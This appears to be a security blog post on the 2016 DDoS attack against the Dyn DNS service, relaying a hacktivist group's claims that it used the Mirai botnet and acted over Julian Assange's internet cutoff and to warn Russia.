Back to the attack on the Dyn DNS service, I believe the leak of the source code of such kind of botnet could also be part of a wider strategy of a certain category of attackers that intend to power massive attacks making impossible the attribution.

According to a new report from Reuters, the FBI and the Department of Homeland Security (DHS) are investigating the massive DDoS attacks that targeted the DNS provider.

Update – The Culprit, the hacktivism

WikiLeaks confirmed that its supporters launched the massive DDoS attack to protest against the decision of the Ecuadorian government’s to cut off the Internet connection of the WikiLeaks founder Julian Assange due to the US Political election leaks.

Yesterday evening I reached the hacking collective NewWorldHacking via Twitter asking them more information about the attack.

The hackers confirmed to me that they started the massive attack against the Dyn DNS service, anyway, they were not alone.

According to the NewWorldHacking, many other groups linked to the Anonymous collective participated in the attack.

When I asked which Anon groups were involved they replied that many crews targeted the Dyn DNS service.

“Anonymous, Pretty much all of Anonymous,” says NewWorldHacking.

They confirmed that they are testing the capability of their botnet, highlighting that the DDoS attack against the Dyn DNS Service was carried with the Mirai botnet alongside with other booters.

Most interesting is the motivation that they provided. Not only the Assange’s case. They told me that the attack is also a message for the Russian Government.

“If Russia is against the U.S we are against Russia. This is where we draw the line, we are sending a warning message to Russia. ”

The information I collected seems to be in line with the statements that the hacktivist groups Anonymous and the NewWorldHacking released to the Politico.


Original Post:

Blog at

Up ↑